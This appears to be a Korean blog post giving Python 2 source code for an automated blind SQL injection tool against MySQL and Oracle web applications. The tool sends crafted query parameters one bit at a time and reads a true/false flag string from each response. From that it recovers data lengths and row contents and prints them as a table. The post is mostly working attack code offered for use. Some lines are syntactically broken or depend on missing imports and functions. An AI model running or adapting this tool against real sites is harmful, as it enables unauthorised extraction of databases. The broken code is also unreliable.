▣ 구현(MySQL, Oracle 공통)

  1) Function

        - requests, prettytable라이브러리 사용 (← 해당 문자 클릭 시 다운로드)

        - 데이터길이 조회 HttpRequest함수(POST, GET지원)

          : 조회한 데이터 길이가 0(Null)일 경우 “Null-Value”출력

        - 데이터 조회 HttpRequest함수(POST, GET지원)

          : 조회한 데이터 내 한글포함 시 “Language Exception”출력

        - Blind SQL Injection완료 후 DB테이블 형태로 출력(prettytable)


  2) CODE

import requests;
from prettytable import PrettyTable;

   
# Common : Get DataLength List
"""
◈ getDataLength()
: requests라이브러리를 사용하여 데이터 길이를 조회하는 HTTP요청을 실행하는 함수
: 
"""
def getDataLength(payload, sqlList) :
    binary = ''
    answer = '' 
    result = []
    url = payload['url']
    
    # requests라이브러리 내 요청할 session객체 생성, 헤더추가
    s = requests.session()
    s.headers.update(payload['header'])
    fixedParam = payload['fixedParam']
    
    for i in range(0, len(sqlList)) :
        for j in range(1, 5) :
            try : 
                # 더 이상 데이터가 존재하지 않는 경우
                if binary == '00000000' :
                    # 기존 추출한 문자열 길이만 삽입, 변수 초기화
                    result.append(int(answer))
                    answer =''
                    binary = ''
                    break
            # 해당 row의 문자열 길이가 0(null)인 경우 예외처리
            except ValueError :
                # 0 삽입 후 Null-Value메세지 출력
                result.append(0)
                print "\n****** Null Value Exception ******"
                print "Index " + str(i+1) + ' data is NULL.'
                break
            
            # DBMS별 길이조회 쿼리 분기
            for k in range(1, 9) :
                if payload['dbms'].lower() == 'mysql' : 
                    query = getLengthQuery_mysql(payload['frontStr'], sqlList, i, j, k)
                elif payload['dbms'].lower() == 'oracle' : 
                    query = getLengthQuery_oracle(payload['frontStr'], sqlList, i, j, k)
                
                # 고정파라미터에 데이터길이를 조회하는 쿼리 추가 후 url인코딩
                fixedParam.update({payload['payParam']:query})
                param = urllib.urlencode(fixedParam)
                
                # session객체 request후 response를 res변수에 저장
                res = s.request(payload['method'], url, params=param)
                
                # 참일 경우 응답에 포함되는 문자열이 응답에 존재할 경우 0 | 존재하지 않을경우 1
                if payload['flagStr'].lower() in res.text.lower() :
                    binary += '0'
                else :
                    binary += '1'
                
                # 8자리의 binary를 모두 출력 시    
                if len(binary) == 8 :
                    # 데이터가 추출된 경우
                    if binary != '00000000' : 
                        answer += unichr(int(binary, 2))
                        binary = ''
                        query = ''
                    # 더 이상 데이터가 존재하지 않는 경우
                    elif binary == '00000000' :
                        break
    s.close()
    return result


# Common : Blind SQL Injection
"""
dataLength : getDataLength()실행 결과 반환받은 각 ROW의 문자열길이 조회쿼리List
querySet : getQuery_XXX()실행 결과 반환받은 각  데이터 조회 쿼리 List

◈ blindSqlInjection()
: requests라이브러리를 사용하여 데이터를 조회하는 HTTP요청을 실행하는 함수
: 
"""
def blindSqlInjection(payload, dataLength, querySet) :
    binary = ''
    answer = '' 
    blindResult = []
    url = payload['url']
    s = requests.session()
    s.headers.update(payload['header'])
    fixedParam = payload['fixedParam']
    idx = 0
    
    # 추출하고자 하는 row수만큼 Loop
    for l in range(0, payload['row']) :
        # 사전에 추출한 데이터 길이만큼 Loop
        for i in range, dataLength[l]+1) :
            # 추출할 Binary(8자리)만큼 Loop
            for j in range(1, 9) :
                # 이하 getDataLength()함수와 동일
                fixedParam.update({payload['payParam']:querySet[idx]})
                param = urllib.urlencode(fixedParam)
                res = s.request(payload['method'], url, params=param)
                
                if payload['flagStr'].lower() in res.text.lower() :
                    binary += '0'
                else :
                    binary += '1'
                
                if len(binary) == 8 :
                    answer += unichr(int(binary, 2))
                    binary = ''

                idx += 1
        # 추출한 데이터 결과 저장
        try :            
            blindResult.append(str(answer))
        # 추출한 데이터 내 한국어 포함 시 (Ascii코드 변환 값이  128이상 시) 예외처리
        except UnicodeEncodeError :0
            print "\n****** Language Exception ******"
            print "Index " + str(l+1) + " data is include Korean."
            blindResult.append(str('Korean_Data(Ignored)'))
            break
        answer = ''
    s.close()
    return blindResult


# Common : Print Result
"""
◈ printResult()
: prettytable라이브러리를 사용하여 Injection결과를 테이블형태로 출력하는 함수
"""
def printResult(payload, dataLengthSet, result):
    # Set column_Name
    sql = payload['sql']
    sql = sql.lower()
    sql = sql.split(' ')
    colName = sql[1]
    
    # PrettyTable()함수의 인자 값에 컬럼명을 LIST형태로 전달
    x = PrettyTable(['Index', 'DataLength', colName])
    x.align['Index']
    x.padding_width = 1
    
    # add_row()함수로 데이터 LIST를 ROW형태로 추가
    for i in range(0, len(result)) :
        x.add_row([i+1, dataLengthSet[i], result[i]])
    print x


다른 카테고리의 글 목록

Python/Tools 카테고리의 포스트를 톺아봅니다